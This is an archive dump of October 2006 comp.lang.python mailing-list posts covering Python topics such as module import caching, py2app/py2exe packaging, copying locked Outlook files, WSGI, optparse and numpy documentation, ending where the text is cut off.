27/10/2006 19:48, noamsml at gmail.com wrote: >Wouldn't importing and re-importing the same modules cause considerable >resource bulk? Or does python cache that stuff? No. Once a module is imported by the first time, the module object is placed in sys.modules; if a subsequent import finds the module there, it's not reloaded from disk. See -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From bignose+hates-spam at benfinney.id.au Thu Oct 5 19:09:17 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Fri, 06 Oct 2006 09:09:17 +1000 Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy Singleton References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> Message-ID: <87vemycqci.fsf@benfinney.id.au> "Ilias Lazaridis" writes: > I admit it is difficult to detect that this post is in-topic. > But it is. Really, it's not. If you want a voice, you already have your website. Mailing lists and other discussion forums have conventions about "topic" for a good reason. > http://case.lazaridis.com/wiki/Host > http://case.lazaridis.com/wiki/License > http://case.lazaridis.com/wiki/Copyright > > I should have posted them immediately. No, you should have found a forum where you know that the topic is appropriate -- even if that restricts it to your own website. -- \ "In general my children refuse to eat anything that hasn't | `\ danced on television." -- Erma Bombeck | _o__) | Ben Finney From dave.opstad at monotypeimaging.com Wed Oct 4 10:56:12 2006 From: dave.opstad at monotypeimaging.com (Dave Opstad) Date: Wed, 04 Oct 2006 07:56:12 -0700 Subject: py2app semi-standalone semi-works References: Message-ID: In article , James Stroud wrote: > I am trying to create a semi-standalone with the vendor python on OS X > 10.4 (python 2.3.5). I tried to include some packages with both > --packages from the command and the 'packages' option in setup.py. While > the packages were nicely included in the application bundle in both > cases (at Contents/Resources/lib/python2.3/), they were not found by > python when the program was launched, giving the error: > > "ImportError: No module named [whatever module]" > > Is this because semi-standalone is semi-broken or is it because I have > semi-omitted something? > > Any advice on resolving this issue would be greatly appreciated and > would greatly reduce the size of the download. You might want to have a setup.cfg file in addition to the setup.py file. I've found that helps ensure the relevant packages and includes make it into the bundled application. For example, say you have a package named fred and also a separate module named george that are needed for your app. Your setup.cfg could look like this: # # setup.cfg # [py2app] packages=fred includes=george You can also have a section for [py2exe] if needed; that way, if there are modules that your Windows build needs that the Mac build doesn't (or vice versa), you can just include them where needed. Dave From nick at craig-wood.com Sat Oct 14 04:30:05 2006 From: nick at craig-wood.com (Nick Craig-Wood) Date: Sat, 14 Oct 2006 03:30:05 -0500 Subject: Thread termination References: <1160732308.053202.225450@b28g2000cwb.googlegroups.com> Message-ID: Hendrik van Rooyen wrote: > can't be done from outside without co operation of thread in question. > google this newsgroup Hopefully google will discover also the thread where the above statement is proved to be false ;-) This might be a useful thing to search for... ctypes.pythonapi.PyThreadState_SetAsyncExc -- Nick Craig-Wood -- http://www.craig-wood.com/nick From bignose+hates-spam at benfinney.id.au Wed Oct 11 23:50:40 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 12 Oct 2006 13:50:40 +1000 Subject: Python component model References: <452b7aae$0$306$426a74cc@news.free.fr> <1160618190.314729.236250@c28g2000cwb.googlegroups.com> <1160622492.360486.207270@m73g2000cwd.googlegroups.com> Message-ID: <87d58y42gf.fsf@benfinney.id.au> "Ilias Lazaridis" writes: > Terrible this open source folks. > One cannot say one word without beeing asked to contribute. +1 QOTW, in a new category for kooks. -- \ "Say what you will about the Ten Commandments, you must always | `\ come back to the pleasant fact that there are only ten of | _o__) them." -- Henry L. Mencken | Ben Finney From bignose+hates-spam at benfinney.id.au Wed Oct 25 19:45:06 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 26 Oct 2006 09:45:06 +1000 Subject: cleaner way to write this? References: <7xac3kb6do.fsf@ruckus.brouhaha.com> <9%N%g.44157$Q82.23067@newsfe15.phx> Message-ID: <878xj4m03h.fsf@benfinney.id.au> Farshid Lashkari writes: > Paul Rubin wrote: > > I like > > > > if dlg.ShowModal() == wx.ID_OK: > > db_name = dlg.GetValue() > > else: > > db_name = None > > dlg.Destroy() > > return db_name > > > > better than > > > > db_name = None > > if dlg.ShowModal() == wx.ID_OK: > > db_name = dlg.GetValue() > > dlg.Destroy() > > return db_name > > > > but I suppose it's a matter of preference. > > Yeah, I think the second way is usually used by people who are more > accustomed to programming in C, since they need to initialize > variables. Your way is probably more Pythonic though. I prefer an unconditional setting of the default value it because it's more explicit. You can immediately see that db_name will *always* have a known value, rather than trying to traverse the logic to find the default. The quicker I can communicate the flow of the function, the better. -- \ "From the moment I picked your book up until I laid it down I | `\ was convulsed with laughter. Someday I intend reading it." -- | _o__) Groucho Marx | Ben Finney From kay.schluehr at gmx.net Wed Oct 11 11:51:38 2006 From: kay.schluehr at gmx.net (Kay Schluehr) Date: 11 Oct 2006 08:51:38 -0700 Subject: Python component model In-Reply-To: <1160575172.300208.82370@i42g2000cwa.googlegroups.com> References: <1160570340.981862.212380@c28g2000cwb.googlegroups.com> <1160575172.300208.82370@i42g2000cwa.googlegroups.com> Message-ID: <1160581898.505638.112910@b28g2000cwb.googlegroups.com> Paul Boddie wrote: > I've never maintained that a monopoly on how Web programming is done > would be a good thing. All I've ever tried to understand is why people > haven't tried to improve the generic support for Web programming (and a > whole load of other things) even to the level of something like the > DB-API. Take another area: all the time you get people asking how they > can conveniently access some Web site using a Python-based client, and > loads of people are coming up against issues with urllib, urllib2, > other libraries. Wouldn't it be good if the functionality were just > there in the standard library in a sane form? Or is the standard > library just a "grab bag" of demos these days? Paul, I do think the focus on the stdlib as it is right now is a bit misleading. The stdlib is basically the product of python-dev and the runtime developers also have maintenance responsibility. This shall and even must be splitted and shared as it is done successfully with application domains like Scientific Python. If an enterprise grows no one expects that one department is responsible for everything but here in the Python community Guido shall play Fidel Castro who cares for each module of each application developer ever written and its suitability for the stdlib and its alignment with the Python ideology. In my opinion Python shall grow up and organize the visibility of its products, its "portfolio", differently with Py3K. I agree with Fredrik that any decision towards a BDFL blessed webframework is premature and Guido already showed himself not much interest in making any decision. Even if all kinds of components are available in the stdlib people are still looking for a RoR for Python and they do so not only for technical reasons but because they need a brand that can be justifed towards their team mates and project leaders. Kay From cjw at sympatico.ca Tue Oct 24 17:47:56 2006 From: cjw at sympatico.ca (Colin J. Williams) Date: Tue, 24 Oct 2006 17:47:56 -0400 Subject: Getting a lot of SPAM from this list In-Reply-To: <17726.7792.807568.497224@montanaro.dyndns.org> References: <17725.8236.397367.923534@montanaro.dyndns.org> <17726.7792.807568.497224@montanaro.dyndns.org> Message-ID: skip at pobox.com wrote: > >> Get a better spam filter? > > Colin> Any suggestions for Firefox? > > You can try SpamBayes (http://www.spambayes.org/). It has both POP3 and > IMAP filters that sit between your mail client and mail server. You control > and train them via a local web interface. > > Skip > Thanks, I'll try it. Colin W. From fredrik at pythonware.com Tue Oct 24 11:16:06 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 24 Oct 2006 17:16:06 +0200 Subject: The format of filename In-Reply-To: References: Message-ID: Neil Cerutti wrote: > Is translation of '/' to '\\' a feature of Windows or Python? Windows. Random MSDN link: http://msdn2.microsoft.com/en-us/library/77859s1t.aspx Win32 operating systems support both the backslash (\) and the forward slash (/). /.../ (However, the Windows operating system command shell, CMD.EXE, does not support the forward slash in commands entered at the command prompt.) for general file naming guidelines for Windows (including the shell), see: http://msdn.microsoft.com/library/en-us/fileio/fs/naming_a_file.asp From ericlake at gmail.com Thu Oct 19 12:39:44 2006 From: ericlake at gmail.com (elake) Date: 19 Oct 2006 09:39:44 -0700 Subject: Determining if a file is locked in Windows References: <1161200350.853327.288150@b28g2000cwb.googlegroups.com> <1161269072.312305.297430@m73g2000cwd.googlegroups.com> <1161270680.303152.75200@e3g2000cwe.googlegroups.com> Message-ID: <1161275984.328390.94220@i42g2000cwa.googlegroups.com> MatthewWarren wrote: > elake wrote: > > Larry Bates wrote: > > > elake wrote: > > > > I found this thread about a pst file in Windows being locked and I am > > > > having the same issue. > > > > > > > > > > http://groups.google.com/group/comp.lang.python/browse_thread/thread/d3dee5550b6d3652/ed00977acf62484f?lnk=gst&q=%27copying+locked+files%27&rnum=1 > > > > > > > > The problem is that I have a script that can find the pst files on > > > > every machine in my network and back them up to a server for safe > > > > keeping. The problem is that when Outlook is running it locks the file > > > > and will not allow me to copy it to the destination. I am using the > > > > shutil module for the copy. > > > > > > > > Is there a way to first determine if the file is locked and then do the > > > > copy if it isn't? I thought about looking to see if Outlook.exe is > > > > running but the machines are shared and the process could be running > > > > but with a different pst file in use. > > > > > > > > Thanks in advance > > > > > > > Try the copy and catch the exception instead. > > > > > > -Larry Bates > > > > Larry thanks for your suggestion. this is what I tried: > > > > #!/usr/bin/env python > > > > import os, shutil > > > > path = 'c:\documents and settings\username\Local Settings\Application > > Data\Microsoft\Outlook' > > > > src = 'Outlook.pst' > > dst = 'test.pst' > > > > os.chdir(path) > > > > try: > > shutil.copy2(src, dst) > > except IOError: > > print 'Must be locked by Outlook' > > > > print 'Finished' > > > > The problem is that even though I catch the IOError it overwrites the > > dst file and makes it 0kb. This is going to be for backing these files > > up and it wont be good to overwrite the backup with a bad copy. > > > > Is there another way to do this that I am missing. I am still kind of > > new to Python. If i could tell that outlook had the file locked before > > I tried the copy then I think that it would be prevented. > > maybe try and open the file for reading first, then if it opens ok, > just close it and do the copy? I tried to do that and it did let me open it without an error. Here is what I have done now and it seems work. def copyFile(src, dst): if os.path.isfile(dst): shutil.copy2(dst, dst_bak) try: shutil.copy2(src, dst) except IOError: if os.path.isfile(dst_bak): shutil.copy2(dst_bak, dst) os.remove(dst_bak) else: try: shutil.copy2(src, dst) except IOError: if os.path.isfile(dst_bak): shutil.copy2(dst_bak, dst) It check to see if the dst file is there first and them makes a backup of it first. That way if the copy goes bad then there is still a backup of it. Do you see anywhere that I could have done this better/differently? From ptmcg at austin.rr._bogus_.com Thu Oct 12 09:49:12 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Thu, 12 Oct 2006 13:49:12 GMT Subject: Standard Forth versus Python: a case study References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <1160652722.908731.213650@i42g2000cwa.googlegroups.com> Message-ID: wrote in message news:1160652722.908731.213650 at i42g2000cwa.googlegroups.com... > Paul McGuire wrote: >> wrote in message >> news:1160619958.438049.53390 at h48g2000cwc.googlegroups.com... >> > [snip] >> > >> > no sort() is needed to calculate the median of a list. >> > >> > you just need one temp var. >> > >> >> Ok, I'll bite. How do you compute the median of a list using just a >> single >> temp var? >> >> -- Paul > > hi Paul; well when this was a stats-class assignment (back when pascal > was popular :) i just stepped through the vector and compared it > > (pseudo-code) > > ptr p = [with values]. > > fun median { > var x = 0. > while( *p++) { > if( (*p) > x) x = *p. > } > return x. > } > > of course, pascal is more verbose but that's median() > No, that's the maximum. The median value is the value that is in the middle of the list when the list is sorted. Many analyses prefer median to mean (also known as "average") because the median is less sensitive to wild outlier points. My original question was in response to your post, that sort() wasn't required but only a temp variable. I am very interested in seeing your solution that does not require the data to be sorted. (This is not just an academic exercise - given a large historical data set, sorting the data is one of the costliest parts of computing the median, and I would greatly appreciate seeing an alternative algorithm.) -- Paul From snaury at gmail.com Wed Oct 25 17:03:22 2006 From: snaury at gmail.com (Alexey Borzenkov) Date: 25 Oct 2006 14:03:22 -0700 Subject: chained attrgetter In-Reply-To: <1161799222.831277.154340@e3g2000cwe.googlegroups.com> References: <1161799222.831277.154340@e3g2000cwe.googlegroups.com> Message-ID: <1161810201.975665.269470@h48g2000cwc.googlegroups.com> On Oct 25, 10:00 pm, "David S." wrote: > Does something like operator.getattr exist to perform a chained attr > lookup? Do you mean something like class cattrgetter: def __init__(self, name): self.names = name.split('.') def __call__(self, obj): for name in self.names: obj = getattr(obj, name) return obj ? From calmasy at gmail.com Sat Oct 14 18:14:05 2006 From: calmasy at gmail.com (=?ISO-8859-1?Q?Count_L=E1szl=F3_de_Alm=E1sy?=) Date: Sat, 14 Oct 2006 16:14:05 -0600 Subject: optparse: add trailing text in help message? In-Reply-To: References: Message-ID: Thanks for the help, all. Somone pointed out the 'epilogue' attribute to OptionParser that is new in Python 2.5, which does exactly what I am looking for. I did read the optparse docs for 2.5 fully before posting this question, and now that I've taken a second look, I see that epilog is NOT DOCUMENTED, except for in optparse.py itself. Hopefully this will be fixed by the Python team. From onurb at xiludom.gro Mon Oct 9 06:19:31 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 09 Oct 2006 12:19:31 +0200 Subject: WSGI - How Does It Affect Me? In-Reply-To: References: Message-ID: <452a2233$0$21874$426a74cc@news.free.fr> Gregory Pi?ero wrote: > So I keep hearing more and more about this WSGI stuff, and honestly I > still don't understand what it is exactly A protocol for web servers/python programs interaction. Just like CGI is a protocol for web servers/whatever-language programs interactions. Gregory, you'll find answers to most (if not all) of your questions in the availables articles/tutorials on WSGI. You should really read them first. FWIW, going from "what's this stuff" to "run my first WSGI app" took me a couple hours. And porting your CGI apps to WSGI should be a no-brainer. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From robert.kern at gmail.com Tue Oct 17 17:40:27 2006 From: robert.kern at gmail.com (Robert Kern) Date: Tue, 17 Oct 2006 16:40:27 -0500 Subject: pylab package dependencies In-Reply-To: References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> Message-ID: Lou Pecora wrote: > In article , > Robert Kern wrote: > >> Lou Pecora wrote: >> >>> The only problem I'm having is getting ipython to run. Not installed in >>> /usr/local/bin (although all other IPython files look to be installed in >>> /Library/Framewaorks/python..blah/site-packages). I'm still searching >>> the web sites for answers. >> Create a file ~/.pydistutils.cfg with the following section (unindented): >> >> [install] >> install-scripts=/usr/local/bin >> >> Now install ipython again, and the ipython script should be installed to >> /usr/local/bin/. You may need to be root to do so. >> >> For more information on that configuration file: >> >> http://docs.python.org/inst/config-syntax.html > > I assume you are telling me to install ipython from a tar distribution > using setup etc. I originally installed it from the SciPy Super Pack > which apparently put in the site packages, but neglected the script in > /usr/local/bin. Sound right? Indeed. The SuperPack is broken and does not contain the ipython script. It also puts the documentation in the wrong place. ipython is a pure-Python package and easy to install from source. > On the ipython web site for MacOS X it says to do the following after > the install using python setup.py etc. in the extracted directories, > > python?setup.py?install_scripts?--install-dir=/usr/local/bin > > Is that what you are suggesting with the pydistutils.cfg ? Yes, it does the same thing, only it will apply to all packages (probably what you want) and you only have to do it once instead of remembering to do it every time. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From antoine at vo.lu Wed Oct 11 09:53:56 2006 From: antoine at vo.lu (Antoine De Groote) Date: Wed, 11 Oct 2006 15:53:56 +0200 Subject: Experiences with Py2Exe In-Reply-To: <1160574156.861514.327390@i42g2000cwa.googlegroups.com> References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com> Message-ID: <452cf765$1@news.vo.lu> Isaac Rodriguez wrote: > Hi, > > I am looking for feedback from people that has used or still uses > Py2Exe. I love to program in python, and I would like to use it to > write support tools for our development team, but I cannot require > everyone to install python in their machines, so I was thinking that > Py2Exe would help on that. > > The support tools I write are mostly command line driven (no GUI), but > in the future, I would like to write some expert applications that will > contain GUI. I was thinking on using wxPython for the GUI, so I was > wondering how well behaves Py2Exe with the wxPython module. > I did a project with wxPython and py2exe. Just great :-) I also used Inno Setup (http://www.jrsoftware.org/isinfo.php) to create an installer. You should be able to learn/use both in one day. > Other modules I use besides the standard modules are CTypes and the > Perforce python module p4.py. I try not to use any of the win32 stuff, > but I can see how I will have to for some utilitites, so if anyone has > experience with the win32 modules and Py2Exe, any feedback will be > highly appreciated. > > Thanks, > > Isaac. > From alistair.king at helsinki.fi Tue Oct 31 04:46:14 2006 From: alistair.king at helsinki.fi (Alistair King) Date: Tue, 31 Oct 2006 11:46:14 +0200 Subject: create global variables? In-Reply-To: References: <1162275890.4546ec32cd351@www2.helsinki.fi> Message-ID: <45471B66.9060702@helsinki.fi> Steve Holden wrote: > aking at mappi.helsinki.fi wrote: > >> J. Clifford Dyer wrote: >> >> >>> Alistair King wrote: >>> > > [... advice and help ...] > > >> this worked a treat: >> >> def monoVarcalc(atom): >> >> a = atom + 'aa' >> Xaa = a.strip('\'') >> m = atom + 'ma' >> Xma = m.strip('\'') >> Xaa = DS1v.get(atom) >> Xma = pt.get(atom) >> return Xaa, Xma >> >> >> Caa, Cma = monoVarcalc('C') >> >> > In which case I suspect you will find that this works just as well: > > def monoVarcalc(atom): > > Xaa = DS1v.get(atom) > Xma = pt.get(atom) > return Xaa, Xma > > > Unless there is something decidedly odd about the side-effects of the > statements I've removed, since you never appear to use the values of a, > m, Xaa and Xma there seems little point in calculation them. > > regards > Steve > Yup...it works..but now i have to create a dictionary of 'a' and 'm', ie... "Xaa" and "Xma" string, key:value pairs so i can use other functions on the Xaa, Xma variables by iterating over them and retrieving the values from the variables. I think if i just input Xaa and Xma, only the values associated with those variables will go into the dictionary and ill just be iterating over nonsence..... atomsmasses = {} def monoVarcalc(atom): a = atom + 'aa' m = atom + 'ma' atomsmasses[a]=m Xaa = a.strip('\'') Xma = m.strip('\'') Xma = pt.get(atom) if DS1v.get(atom) != None: Xaa = DS1v.get(atom) else: Xaa = 0 return Xaa, Xma Caa, Cma = monoVarcalc('C') Oaa, Oma = monoVarcalc('O') Haa, Hma = monoVarcalc('H') Naa, Nma = monoVarcalc('N') Saa, Sma = monoVarcalc('S') Claa, Clma = monoVarcalc('Cl') Braa, Brma = monoVarcalc('Br') Znaa, Znma = monoVarcalc('Zn') i think? :) thanks a -- Dr. Alistair King Research Chemist, Laboratory of Organic Chemistry, Department of Chemistry, Faculty of Science P.O. Box 55 (A.I. Virtasen aukio 1) FIN-00014 University of Helsinki Tel. +358 9 191 50392, Mobile +358 (0)50 5279446 Fax +358 9 191 50366 From fumanchu at amor.org Fri Oct 27 12:13:09 2006 From: fumanchu at amor.org (fumanchu) Date: 27 Oct 2006 09:13:09 -0700 Subject: Tracing the execution of scripts? References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com> Message-ID: <1161965589.099791.293730@e3g2000cwe.googlegroups.com> Stephan Kuhagen wrote: > "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote: > > > Basically, is there something that will log every line of Python code > > executed, in its order of execution, to a text file so that I can see > > what is (or isn't) happening that I am expecting? > > Python itself can do this for you. A __VERY__ simple approach: > ... > Additionally, if it should work with threads, you must take care > that every thread gets its own output file. Or be differentiated *somehow*. My pyconquer module tabs each thread's activity into swimlanes, so you can even see when each thread starts, obtains/releases the GIL, and stops. See the longer example here: http://projects.amor.org/misc/wiki/PyConquer Robert Brewer System Architect Amor Ministries fumanchu at amor.org From pine508 at hotmail.com Thu Oct 26 15:59:01 2006 From: pine508 at hotmail.com (Chelonian) Date: 26 Oct 2006 12:59:01 -0700 Subject: my first software References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com> Message-ID: <1161892741.305570.114550@e3g2000cwe.googlegroups.com> FS.Jason at gmail.com wrote: > I am a beginner of programming and started to learn Python a week ago. > last 3 days, i write this little tool for Renju... Tell you what, I will trade you my fluent English for your ability to write that in 3 days as a beginning programmer who started learning Python a week ago. As a true beginner to programming, I was about to bake myself a cake when I was able to simply open a text file. Are you on massive smart drugs or is my water tainted or what? :) I am always amazed at what is considered a "beginner" on this list...[slurks back off into true beginnerdom] From greg.landrum at gmail.com Wed Oct 4 13:53:18 2006 From: greg.landrum at gmail.com (greg.landrum at gmail.com) Date: 4 Oct 2006 10:53:18 -0700 Subject: switching to numpy and failing, a user story In-Reply-To: References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> Message-ID: <1159984398.088012.209640@k70g2000cwa.googlegroups.com> Travis E. Oliphant wrote: > greg.landrum at gmail.com wrote: > > - I guess I should just buy the documentation. I don't like this idea, > > because I think it's counter-productive to the project to have payware > > docs (would Python be successful if you had to buy the documentation? I > > don't think so), but that's the way this project goes. > > It's probably better to call it "complete documentation." Normal > open-source documentation is available from http://www.scipy.org. There > are lots of people who have helped it. I had to do something to at > least pretend to justify the time NumPy took me to the people who care > about how I spend my time (including my family). This was the best I > could come up with. Given the quality of python's (free) documentation and how good it's been for a very long time, it's bit ironic to be using the phrase "normal open-source documentation" on this mailing list. Numeric python, which numpy aspires to be a replacement for, has perfectly reasonable documentation. It wasn't perfect, but it told you pretty much everything you needed to know to get started, use the system, and build extension modules. I guess this set my expectations for NumPy. > Or just ask on the mailing lists, use the numpy.oldnumeric interface > (the differences are all documented in the first few pages of my book > which is available for free now). "Ask on the mailing lists" is viable for the occasional question or detail, but it's not really an efficient way to get started with a system. At least not for me. But that's fine, I have something that works (numeric), and I can do what I need to do there. -greg From bearophileHUGS at lycos.com Mon Oct 2 13:17:19 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 2 Oct 2006 10:17:19 -0700 Subject: How to coerce a list of vars into a new type? In-Reply-To: References: <1159803031.530669.105050@k70g2000cwa.googlegroups.com> Message-ID: <1159809439.409720.105860@m73g2000cwd.googlegroups.com> Me: > > def f(a, b, c): > > map(int, [a, b, c]) > > ...code... Robert Kern: > That won't do anything since the names a, b, and c are never rebound. I think you are wrong. Try to give a "35.0" or a "hello" to that function f, and see the results. What it does is to: "verify that three parameters can all be converted into integers, but it doesn't modify the parameters themselves" as the OP asked. Bye, bearophile From no-spam at no-spam-no-spam.com Thu Oct 26 16:22:27 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Thu, 26 Oct 2006 22:22:27 +0200 Subject: conditional computation In-Reply-To: <1161893246.184899.169330@h48g2000cwc.googlegroups.com> References: <1161893246.184899.169330@h48g2000cwc.googlegroups.com> Message-ID: Mike Kent wrote: > robert wrote: >> I want to use a computation cache scheme like >> >> >> o = CACHECOMPUTE complex-key-expr expensive-calc-expr >> >> >> frequently and elegantly without writing complex-key-expr or expensive-calc-expr twice. >> So its ugly: >> >> _=complex-key-expr; o=cache.get(_) or cache.setdefault(_,expensive-calc-expr) >> >> Any ideas? >> >> -robert > > Your question is a bit terse, so my answer might not be spot on for it, > but it sounds like you want what is typically called 'memoization', > whereby a function caches its expensive-to-calculate return values, > where the cache is keyed by the function arguments. > > See: > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52201 > and various other implimentations in the Cookbook for details. > thanks, yes, but the challenge was to hook expressions for memoizing ad hoc. See above solution. From sachinpunjabi at gmail.com Mon Oct 30 05:54:34 2006 From: sachinpunjabi at gmail.com (Sachin Punjabi) Date: 30 Oct 2006 02:54:34 -0800 Subject: Lookuperror : unknown encoding : utf-8 In-Reply-To: <1162200427.209299.4920@m73g2000cwd.googlegroups.com> References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com> <1162194168.044962.262720@b28g2000cwb.googlegroups.com> <1162196598.260229.224100@e3g2000cwe.googlegroups.com> <1162197440.574405.195010@m7g2000cwm.googlegroups.com> <1162198497.288698.244940@k70g2000cwa.googlegroups.com> <1162199750.797149.317970@m7g2000cwm.googlegroups.com> <1162200427.209299.4920@m73g2000cwd.googlegroups.com> Message-ID: <1162205674.235865.252570@m73g2000cwd.googlegroups.com> On Oct 30, 2:27 pm, "Leo Kislov" wrote: > Sachin Punjabi wrote: > > I installed it again but it makes no difference. It still throws me > > error for LookUp Error: unknown encoding : utf-8.Most likely you're not using the new python, you're still running old > one. > > -- Leo Actually, I have placed the exe created from python in seperate folder other than Python root folder. Is this the cause of the problem but I had set Path to C:\Python24\ in Environment Variables. Sachin. From mail at microcorp.co.za Sun Oct 15 02:33:40 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Sun, 15 Oct 2006 08:33:40 +0200 Subject: Can I set up a timed callback without Tkinter or twisted orsomething? References: Message-ID: <00c701c6f027$e98f20e0$03000080@hendrik> "hg" wrote: > Hendrik van Rooyen wrote: > > Hi, > > > > I want to do the equivalent of the after thingy in tkinter - setting up in > > effect a timed call back. > > > > My use case is as a "supervisory" timer - I want to set up an alarm, which I > > want to cancel if the expected occurrence occurs - but its not a GUI app. > > > > My googling gets a lot of stuff pointing to optparse... > > > > Does the standard lib have anything like this? > > > > - Hendrik > > > > http://python.active-venture.com/lib/timer-objects.html > Thanks - will check it out - Hendrik From mike$#at^&nospam!%trauschus Thu Oct 26 14:55:35 2006 From: mike$#at^&nospam!%trauschus (Michael B. Trausch) Date: Thu, 26 Oct 2006 14:55:35 -0400 Subject: which one of these is better? In-Reply-To: References: Message-ID: John Salerno wrote: > def create_sql_script(self): > try: > with open('labtables.sql') as sql_script: > return sql_script.read() > except IOError: > wx.MessageBox('Could not locate the file "labtables.sql"', > 'File Not Found') > I can't comment on this, because it won't work in my implemention of Python, I don't think. > > OR > > > def create_sql_script(self): > try: > f = open('labtables.sql') > sql_script = f.read() > except IOError: > wx.MessageBox('Could not locate the file "labtables.sql"', > 'File Not Found') > finally: > f.close() > Not really ?ber-qualified to say anything, but I think that the following would be better: try: f = open('file.sql') script = f.read() f.close() except IOError: wx.MessageBox('Message', 'Message Title') > > Do they both do the same thing? > Not sure about the with-- I just went to read the PEP on it, and it confused me greatly. :-) So, I don't know. -- Mike From fredrik at pythonware.com Tue Oct 10 10:33:52 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 16:33:52 +0200 Subject: Using the imp module References: <1160487276.256447.187000@i42g2000cwa.googlegroups.com> <1160490031.724373.8230@k70g2000cwa.googlegroups.com> Message-ID: Claus Tondering wrote: > Thank you, I can use that in some cases. However, I need to import a > file that is not in the load path. that's pretty straightforward: path = list(sys.path) sys.path.insert(0, "directory") try: module = __import__("module") finally: sys.path[:] = path # restore or, often as useful, namespace = {} execfile("directory/module.py", namespace) the latter executes the external code everything you run it (unlike import, which uses the sys.modules cache), and puts everything defined by the external script into the given dictionary. to import all that into your own module, you can do: globals().update(namespace) for extra bonus, you may want to check the __all__ attribute, and if that's not present, filter out anything that starts with an underscore: all_names = namespace.get("__all__") if all_names is None: all_names = (key for key in namespace where key[0] != "_") my_namespace = globals() for name in all_names: my_namespace[name] = namespace[name] From sjmachin at lexicon.net Sun Oct 8 08:38:11 2006 From: sjmachin at lexicon.net (John Machin) Date: 8 Oct 2006 05:38:11 -0700 Subject: Names changed to protect the guilty In-Reply-To: References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> <1160183076.034356.292780@i3g2000cwc.googlegroups.com> <1160184574.708331.78400@i3g2000cwc.googlegroups.com> <1160222386.410987.230630@b28g2000cwb.googlegroups.com> Message-ID: <1160311091.330696.278720@h48g2000cwc.googlegroups.com> Lawrence D'Oliveiro wrote: > In message <1160222386.410987.230630 at b28g2000cwb.googlegroups.com>, John > Machin wrote: > > > > > Steven D'Aprano wrote: > >> On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote: > >> > >> > > >> > MonkeeSage wrote: > >> >> On Oct 6, 8:02 pm, "MonkeeSage" wrote: > >> >> > it is clearer to you to make the condition explicit ("blah not > >> >> > False"), > >> >> > >> >> "blah not False" -> "blah is False" > >> > > >> > Whichever way your team wants to interpret it, d00d. > >> > > >> > Please consider whether you should be writing "(blah is False) is > >> > True", that would be more explicit. > >> > >> Puh-lease! Get it right! > >> > >> It should be "((blah is False) is True) is True". > >> > > > > Yes, but it stops after one more iteration. "What I tell you three > > times is true" -- the Bellman, "The Hunting of the Snark", by Lewis > > Carroll. > > But that was only said once, wasn't it? From skip at pobox.com Tue Oct 10 12:44:50 2006 From: skip at pobox.com (skip at pobox.com) Date: Tue, 10 Oct 2006 11:44:50 -0500 Subject: Python component model In-Reply-To: References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> Message-ID: <17707.52738.438458.21917@montanaro.dyndns.org> Edward> My OP was just to query whether a component model existed for Edward> Python, like JavaBeans for Java or .Net for C#, C++/CLI Edward> etc. For those of us who've never used Java, .Net or C++/CLI, a more concrete description of what you were after from the beginning would have been helpful. Skip From fredrik at pythonware.com Tue Oct 31 07:28:00 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 31 Oct 2006 13:28:00 +0100 Subject: How can I import a script with an arbitrary name ? In-Reply-To: References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com> Message-ID: Steven D'Aprano wrote: > I'm not arguing, you could very well be right, but I'm just curious what > part of the OP's post led you to believe he needed to specify an absolute > filename. Unless I'm missing a second post, he certainly never suggested > that his scripts weren't in the Python path, or that he couldn't add their > location to the path. the fact that he's using dashes in the module name might be a hint, though. in current versions, __import__ doesn't care as long as the file has the right extension, but import requires valid Python identifiers, for obvious reasons. execfile doesn't care about any part of the filename, of course (and if you replace it with exec, you don't even have to read the script from a file). From andre.naess at gmail.com Fri Oct 6 15:59:31 2006 From: andre.naess at gmail.com (andre.naess at gmail.com) Date: 6 Oct 2006 12:59:31 -0700 Subject: Dumping the state of a deadlocked process Message-ID: <1160164771.210372.141120@h48g2000cwc.googlegroups.com> Hi all I'm currently having some issues with a process getting deadlocked. The problem is that the only way I can seem to find information about where it deadlocks is by making a wild guess, insert a pdb.set_trace() before this point, and then step until it locks up, hoping that I've guessed right. The frustrating part is that most of the time my guesses are wrong. It would be really nice if I could send the python process some signal which would cause it to print the current stacktrace and exit immediately. That way I would quickly be able to pinpoint where in the code the deadlock happens. Java has a somewhat similar feature where you can send a running VM process a SIGQUIT, to which it will respond by dumping all current threads and lots of other information on stdout. Is this possible somehow? From saikrishbe at 